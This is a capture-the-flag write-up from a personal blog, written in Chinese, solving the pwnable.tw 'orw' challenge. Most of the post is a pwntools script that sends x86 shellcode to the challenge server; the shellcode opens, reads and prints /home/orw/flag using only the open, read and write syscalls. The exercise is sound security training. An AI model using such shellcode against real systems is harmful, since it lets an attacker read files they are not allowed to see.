avatar

pwnable.tw-orw-shellcode用中断读取flag

这题是让你上传 shellcode,然后程序去执行,但是题目说了,只能用 open、read、write 三个函数,而且已经说明了 flag 的路径是 /home/orw/flag

所以我们只要写汇编代码 open-read-write 这个文件的内容就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import  *

p = remote('chall.pwnable.tw',10001)

p.recvuntil(':')

shellcode='''
push {};
push {};
push {};
push {};
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0x5;
int 0x80;
mov ebx,eax;
xor eax,eax;
mov al,0x3;
mov ecx,esp;
mov dl,0x30;
int 0x80;
mov al,0x4;
mov bl,1;
mov dl,0x30;
int 0x80;
'''.format(hex(u32('ag'+chr(0)+chr(0))),hex(u32('w/fl')),hex(u32('e/or')),hex(u32('/hom')))

p.send(asm(shellcode))
p.interactive()
文章作者: 0bs3rver
文章链接: http://yoursite.com/2020/10/21/pwnable-tw-orw-shellcode%E7%94%A8%E4%B8%AD%E6%96%AD%E8%AF%BB%E5%8F%96flag/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋